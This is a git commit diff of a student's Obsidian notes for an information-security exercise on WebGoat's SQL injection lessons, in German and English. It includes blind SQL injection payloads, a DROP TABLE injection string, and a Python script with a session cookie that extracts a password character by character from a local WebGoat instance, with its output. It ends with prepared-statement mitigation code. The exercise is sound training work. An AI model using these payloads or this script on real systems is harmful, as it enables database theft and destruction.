vault backup: 2023-04-17 14:37:32
This commit is contained in:
7
.obsidian/workspace.json
vendored
7
.obsidian/workspace.json
vendored
@@ -6,7 +6,7 @@
|
|||||||
{
|
{
|
||||||
"id": "08ad9b53ade42d31",
|
"id": "08ad9b53ade42d31",
|
||||||
"type": "tabs",
|
"type": "tabs",
|
||||||
"dimension": 45.31147540983606,
|
"dimension": 62.59025270758123,
|
||||||
"children": [
|
"children": [
|
||||||
{
|
{
|
||||||
"id": "e2194e3299515374",
|
"id": "e2194e3299515374",
|
||||||
@@ -25,7 +25,7 @@
|
|||||||
{
|
{
|
||||||
"id": "47553fa673bb1eb6",
|
"id": "47553fa673bb1eb6",
|
||||||
"type": "tabs",
|
"type": "tabs",
|
||||||
"dimension": 54.68852459016394,
|
"dimension": 37.40974729241877,
|
||||||
"children": [
|
"children": [
|
||||||
{
|
{
|
||||||
"id": "20668ba691cd80b3",
|
"id": "20668ba691cd80b3",
|
||||||
@@ -202,8 +202,9 @@
|
|||||||
"juggl:Juggl global graph": false
|
"juggl:Juggl global graph": false
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"active": "e2194e3299515374",
|
"active": "b8336cb3c3d06be9",
|
||||||
"lastOpenFiles": [
|
"lastOpenFiles": [
|
||||||
|
"Informationssicherheit/Ueb2/2023-04-17_14-16.png",
|
||||||
"Untitled 1.md",
|
"Untitled 1.md",
|
||||||
"Untitled.md",
|
"Untitled.md",
|
||||||
"Informationssicherheit/Ueb2/Ueb2.md",
|
"Informationssicherheit/Ueb2/Ueb2.md",
|
||||||
|
|||||||
BIN
Informationssicherheit/Ueb2/2023-04-17_14-16.png
Normal file
BIN
Informationssicherheit/Ueb2/2023-04-17_14-16.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
@@ -97,6 +97,8 @@ Smith'; DROP TABLE access_log; --
|
|||||||
### 2
|
### 2
|
||||||
|
|
||||||
- `tom' AND '1'='1` is vergeben
|
- `tom' AND '1'='1` is vergeben
|
||||||
|
- Es gibt eine if-Abfrage, ob der Name vergeben ist
|
||||||
|
- Man kann diese mit AND beeinflussen
|
||||||
- `tom' AND substring(password,1,1)='t` kann buchstaben des Passworts herrausfinden
|
- `tom' AND substring(password,1,1)='t` kann buchstaben des Passworts herrausfinden
|
||||||
- "Username taken" bedeutet, dass der Buchstabe richig ist
|
- "Username taken" bedeutet, dass der Buchstabe richig ist
|
||||||
- Durch testen: thisisasecretfortomonly
|
- Durch testen: thisisasecretfortomonly
|
||||||
@@ -112,7 +114,7 @@ def sql_injection_advance_5():
|
|||||||
password = ''
|
password = ''
|
||||||
|
|
||||||
headers = {
|
headers = {
|
||||||
'Cookie': COOKIE,
|
'Cookie': 'JSESSIONID=8f8OmDA8QEB8JwmEJtPbWkvVtAM_2AerEHJoWYFT',
|
||||||
}
|
}
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -125,7 +127,7 @@ def sql_injection_advance_5():
|
|||||||
'confirm_password_reg': 'a'
|
'confirm_password_reg': 'a'
|
||||||
}
|
}
|
||||||
|
|
||||||
r = requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data)
|
r = requests.put('http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
response = json.loads(r.text)
|
response = json.loads(r.text)
|
||||||
@@ -144,7 +146,71 @@ def sql_injection_advance_5():
|
|||||||
password_index += 1
|
password_index += 1
|
||||||
|
|
||||||
sql_injection_advance_5()
|
sql_injection_advance_5()
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Output:
|
||||||
|
t
|
||||||
|
th
|
||||||
|
thi
|
||||||
|
this
|
||||||
|
thisi
|
||||||
|
thisis
|
||||||
|
thisisa
|
||||||
|
thisisas
|
||||||
|
thisisase
|
||||||
|
thisisasec
|
||||||
|
thisisasecr
|
||||||
|
thisisasecre
|
||||||
|
thisisasecret
|
||||||
|
thisisasecretf
|
||||||
|
thisisasecretfo
|
||||||
|
thisisasecretfor
|
||||||
|
thisisasecretfort
|
||||||
|
thisisasecretforto
|
||||||
|
thisisasecretfortom
|
||||||
|
thisisasecretfortomo
|
||||||
|
thisisasecretfortomon
|
||||||
|
thisisasecretfortomonl
|
||||||
|
thisisasecretfortomonly
|
||||||
|
|
||||||
|
### 3
|
||||||
|
1. What is the difference between a prepared statement and a statement?
|
||||||
|
- Solution 4: A statement has got values instead of a prepared statement
|
||||||
|
2. Which one of the following characters is a placeholder for variables?
|
||||||
|
- Solution 3: ?
|
||||||
|
3. How can prepared statements be faster than statements?
|
||||||
|
- Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
|
||||||
|
4. How can a prepared statement prevent SQL-Injection?
|
||||||
|
- Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
|
||||||
|
5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
|
||||||
|
- Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
|
||||||
|
|
||||||
|
## Mitigation
|
||||||
|
|
||||||
|
### 1
|
||||||
|
- getConnection
|
||||||
|
- PreparedStatement
|
||||||
|
- prepareStatement
|
||||||
|
- ?
|
||||||
|
- ?
|
||||||
|
- setString
|
||||||
|
- setString
|
||||||
|
|
||||||
|
![[2023-04-17_14-16.png]]
|
||||||
|
|
||||||
|
### 2
|
||||||
|
``` java
|
||||||
|
try {
|
||||||
|
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
|
||||||
|
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
|
||||||
|
ps.setString(1, "Admin");
|
||||||
|
ps.executeUpdate();
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.out.println("Oops. Something went wrong!");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3
|
||||||
|
|||||||
Reference in New Issue
Block a user